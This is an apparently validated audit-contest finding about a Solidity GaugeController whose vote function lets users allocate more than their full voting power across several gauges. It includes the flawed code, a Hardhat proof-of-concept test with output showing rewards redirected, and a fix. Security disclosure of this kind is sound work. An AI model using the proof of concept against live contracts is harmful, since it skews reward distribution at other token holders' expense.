Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Gauge Voting Misallocation Vulnerability

Summary

The GaugeController voting mechanism allows users to allocate weights to different liquidity gauges based on their veRAACToken balance. However, the current implementation does not track the total weight allocated by each user, enabling them to exceed their total voting power. This flaw allows users to overvote beyond their actual veToken holdings, distorting the distribution of rewards.

Vulnerability Description

Issue

The function vote(address gauge, uint256 weight) allows users to vote on gauge weights but does not check whether the cumulative votes across all gauges exceed the user’s veRAACToken balance. This means that a user can allocate more than 100% of their voting power across multiple gauges, leading to an unfair weight distribution.

Affected Code Snippet

function vote(address gauge, uint256 weight) external override whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (weight > WEIGHT_PRECISION) revert InvalidWeight();
uint256 votingPower = veRAACToken.balanceOf(msg.sender);
if (votingPower == 0) revert NoVotingPower();
uint256 oldWeight = userGaugeVotes[msg.sender][gauge];
userGaugeVotes[msg.sender][gauge] = weight;
_updateGaugeWeight(gauge, oldWeight, weight, votingPower);
emit WeightUpdated(gauge, oldWeight, weight);
}

A user, userA, holds 500 veToken. They call vote on gauge1 with a weight of 10,000 and then call vote on gauge2 with another weight of 10,000. This results in a total voting weight of 20,000, which exceeds their allowed limit based on their 500 veToken balance. Effectively, userA is using 500 * 2 veToken, which should not be permitted.

Root Cause

  • The contract does not track the total weight allocated by a user.

  • Users can set weights for multiple gauges without restriction, exceeding their available voting power.

  • The lack of a cumulative weight cap allows vote inflation, distorting reward allocations.

Poc

run in GaugeController.test.js

Before running the test modify the distributeRewards function as follow

function distributeRewards(
address gauge
) external override nonReentrant whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (!gauges[gauge].isActive) revert GaugeNotActive();
uint256 reward = _calculateReward(gauge);
if (reward == 0) return;
//IGauge(gauge).notifyRewardAmount(reward);
veRAACToken.transfer(gauge, reward);
emit RewardDistributed(gauge, msg.sender, reward);
}
  • test

describe("Poc", () => {
it("influence reward distribution", async function() {
this.timeout(100000); // Increase timeout to 100 seconds
let user3;
let user4;
let user5;
[ user3, user4, user5] = await ethers.getSigners();
await veRAACToken.mint(user1.address, ethers.parseEther("1000"));
await veRAACToken.mint(user2.address, ethers.parseEther("500"));
await veRAACToken.mint(user3.address, ethers.parseEther("900"));
await veRAACToken.mint(user4.address, ethers.parseEther("200"));
await veRAACToken.mint(user5.address, ethers.parseEther("1980"));
// Deploy gauges
const RWAGauge = await ethers.getContractFactory("RWAGauge");
const RAACGauge = await ethers.getContractFactory("RAACGauge");
const gauge1 = await RWAGauge.deploy(
await rewardToken.getAddress(),
await veRAACToken.getAddress(),
await gaugeController.getAddress()
);
await gauge1.waitForDeployment();
const gauge2 = await RAACGauge.deploy(
await rewardToken.getAddress(),
await veRAACToken.getAddress(),
await gaugeController.getAddress()
);
await gauge2.waitForDeployment();
const gauge3 = await RWAGauge.deploy(
await rewardToken.getAddress(),
await veRAACToken.getAddress(),
await gaugeController.getAddress()
);
await gauge3.waitForDeployment();
const gauge4 = await RAACGauge.deploy(
await rewardToken.getAddress(),
await veRAACToken.getAddress(),
await gaugeController.getAddress()
);
await gauge4.waitForDeployment();
// Initialize gauges with controller role
for (const gauge of [gauge1, gauge2, gauge3, gauge4, rwaGauge, raacGauge]) {
await gauge.grantRole(await gauge.CONTROLLER_ROLE(), owner.address);
}
// Add gauges to controller
let gaugeList = [gauge1, gauge2, gauge3, gauge4];
let toggle = true;
for(let i = 0; i < gaugeList.length; i++) {
await gaugeController.connect(gaugeAdmin).addGauge(
await gaugeList[i].getAddress(),
toggle ? 0 : 1, // RWA type
0 // Initial weight
);
toggle = !toggle;
}
let userList = [user1, user2, user3, user4, user5];
let userWeights = [
[2500, 2000, 2000, 1500, 1000, 1000], // user1 weights for each gauge
[1500, 2500, 2000, 2000, 1000, 1000], // user2 weights
[2000, 1500, 2500, 2000, 1000, 1000], // user3 weights
[2000, 2000, 1500, 2500, 1000, 1000], // user4 weights
[2500, 2000, 2000, 1500, 1000, 1000] // user5 weights
];
gaugeList.push(rwaGauge, raacGauge);
// Vote with weights
for(let i = 0; i < userList.length; i++) {
for(let j = 0; j < gaugeList.length; j++) {
await gaugeController.connect(userList[i]).vote(await gaugeList[j].getAddress(), userWeights[i][j]);
}
}
let reward = Array(gaugeList.length).fill(0n);
console.log("\n=== Reward Distribution Analysis ===");
let beforeBalance, afterBalance;
for(let i = 0; i < gaugeList.length; i++) {
await veRAACToken.mint(await gaugeController.getAddress(), ethers.parseEther("10000000000"));
beforeBalance = await veRAACToken.balanceOf(await gaugeList[i].getAddress());
await gaugeController.connect(gaugeAdmin).distributeRewards(await gaugeList[i].getAddress());
afterBalance = await veRAACToken.balanceOf(await gaugeList[i].getAddress());
reward[i] = afterBalance - beforeBalance;
console.log(`\nGauge ${i + 1}: ${await gaugeList[i].getAddress()}`);
console.log(`Reward: ${ethers.formatEther(reward[i])} tokens`);
}
console.log("\nTotal Rewards Summary:");
console.log("=====================");
const totalRewards = reward.reduce((a, b) => a + b, 0n);
console.log(`Total Rewards Distributed: ${ethers.formatEther(totalRewards)} tokens`);
});
});

output

=== Reward Distribution Analysis ===
Gauge 1: 0x0B306BF915C4d645ff596e518fAf3F9669b97016
Reward: 113500.0 tokens
Gauge 2: 0x959922bE3CAee4b8Cd9a407cc3ac1C251C2007B1
Reward: 24450.0 tokens
Gauge 3: 0x9A9f2CCfdE556A7E9Ff0848998Aa4a0CFD8863AE
Reward: 103800.0 tokens
Gauge 4: 0x68B1D87F95878fE05B998F19b66F4baba5De1aed
Reward: 21200.0 tokens
Gauge 5: 0xCf7Ed3AccA5a467e9e704C703E8D87F634fB0Fc9
Reward: 50000.0 tokens
Gauge 6: 0xDc64a140Aa3E981100a9becA4E685f962f0cF6C9
Reward: 12500.0 tokens
Total Rewards Summary:
=====================
Total Rewards Distributed: 325450.0 tokens

Now set the user1 weight to [10000, 2000, 2000, 1500, 1000, 1000] and run the poc again

output

=== Reward Distribution Analysis ===
Gauge 1: 0x0B306BF915C4d645ff596e518fAf3F9669b97016
Reward: 167900.0 tokens
Gauge 2: 0x959922bE3CAee4b8Cd9a407cc3ac1C251C2007B1
Reward: 21012.5 tokens
Gauge 3: 0x9A9f2CCfdE556A7E9Ff0848998Aa4a0CFD8863AE
Reward: 89200.0 tokens
Gauge 4: 0x68B1D87F95878fE05B998F19b66F4baba5De1aed
Reward: 18212.5 tokens
Gauge 5: 0xCf7Ed3AccA5a467e9e704C703E8D87F634fB0Fc9
Reward: 42950.0 tokens
Gauge 6: 0xDc64a140Aa3E981100a9becA4E685f962f0cF6C9
Reward: 10737.5 tokens
Total Rewards Summary:
=====================
Total Rewards Distributed: 350012.5 tokens

User1 succesfully redirect more than 50.000 token to gauge1.

Impact

The vulnerability enables users to:

  • Manipulate reward distribution by disproportionately voting for certain gauges.

The issue undermines the integrity of the veToken-based governance system and can significantly affect yield strategies and reward fairness.


Fix & Mitigation

Solution: Implement Total Weight Tracking

A fix should track the total votes allocated by each user and ensure it does not exceed WEIGHT_PRECISION (e.g., 10,000 basis points or 100%).

Fixed Code Implementation

mapping(address => uint256) public userTotalGaugeVotes;
function vote(address gauge, uint256 weight) external override whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (weight > WEIGHT_PRECISION) revert InvalidWeight();
uint256 votingPower = veRAACToken.balanceOf(msg.sender);
if (votingPower == 0) revert NoVotingPower();
uint256 oldWeight = userGaugeVotes[msg.sender][gauge];
// Compute new total weight allocated by the user
uint256 userTotalWeight = userTotalGaugeVotes[msg.sender] - oldWeight + weight;
if (userTotalWeight > WEIGHT_PRECISION) revert ExceedsMaxVotingPower();
// Update user's allocated weight
userTotalGaugeVotes[msg.sender] = userTotalWeight;
userGaugeVotes[msg.sender][gauge] = weight;
_updateGaugeWeight(gauge, oldWeight, weight, votingPower);
emit WeightUpdated(gauge, oldWeight, weight, votingPower);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController::vote lacks total weight tracking, allowing users to allocate 100% of voting power to multiple gauges simultaneously

inallhonesty Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController::vote lacks total weight tracking, allowing users to allocate 100% of voting power to multiple gauges simultaneously

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.